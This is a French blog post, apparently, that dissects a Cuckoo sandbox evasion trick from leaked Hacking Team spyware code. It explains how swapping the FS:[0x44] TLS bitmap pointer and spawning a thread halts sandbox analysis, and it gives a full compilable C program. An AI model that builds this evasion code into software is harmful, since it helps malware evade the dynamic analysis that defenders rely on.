Bien… Comme tout le monde, c’est bien évidemment que je suis allé voir le code de nos amis transalpins. Et quel joie de trouver une solution de bypass de Cuckoo que je ne connaissait pas.
Le code officiel est là :
https://github.com/hackedteam/scout-win/blob/master/core-scout-win32/antivm.cpp
Et attention, c’est rapide :)
mov eax, fs:[0x44]; // save old value mov _pOld, eax; mov eax, _pFake; // replace with fake value mov fs:[0x44], eax;
suivis de
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) Sleep, (LPVOID) 1000, 0, NULL);•
Encore un tripotage obscur du PEB. Ce qu’il font c’est substituer le vrai FS[0x44] (alias PEB:TLSBitmapBits ) part un champ initialisé de 409600 bytes à n’importe quoi (mais pas 0). Et ils démarrent une tread (ici sleep mais n’importe quoi ca le fait aussi). Et force est de constater que cela stoppe NET notre brave cuckoo qui pense que c’est finis à en croire le rapport de Malwr.
C’est affligeant de simplicité d’ou mon intérêt. Et j’ai du chercher pour comprendre le miracle… Donc, le TLSBitmap..TLS ca veut dire Thread Local Storage, C’est la que notre windows maintient les datas pour la thread courante. C’est que qui sert à notre windows pour stocker toutes plein d’infos relative à notre thread. Et le fait de switcher cela et d’appeler une api pour starter une nouvelle thread semble compliquer la vie de cukoo. J’avoue franchement ne pas avoir compris en quoi cela ne perturbait pas aussi un vrai windows, mais force est de constater, que sans cela, même sous wine, ce code fonctionne parfaitement.
$ wine anti_cuckoo.exe 2>/dev/null Malloc and Set to 1 Miracle begins Back to work if not cuckoo
Il n’y a que sur cuckoo que cela stop tout !
Ci-dessous une version compilable avec MingGW
#include "windows.h" #include <stdio.h> PDWORD pOld, pFake; int main() { printf("Malloc and Set to 1\n"); pFake = (LPDWORD) malloc(4096*100); memset(pFake, 1, 4096*100); printf("Miracle begins\n"); asm ( "mov eax, fs:[0x44];" // save old value "mov _pOld, eax;" "mov eax, _pFake;" // replace with fake value "mov fs:[0x44], eax;" ); // this will not be logged nor executed. CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) Sleep, (LPVOID) 1000, 0, NULL); asm( "mov eax, _pOld;" // restore old value, not reached if cuckoo "mov fs:[0x44], eax;" ); printf("Back to work if not cuckoo\n"); free(pFake); Sleep(10000); return(0); }
Etonnant ces transalpins. !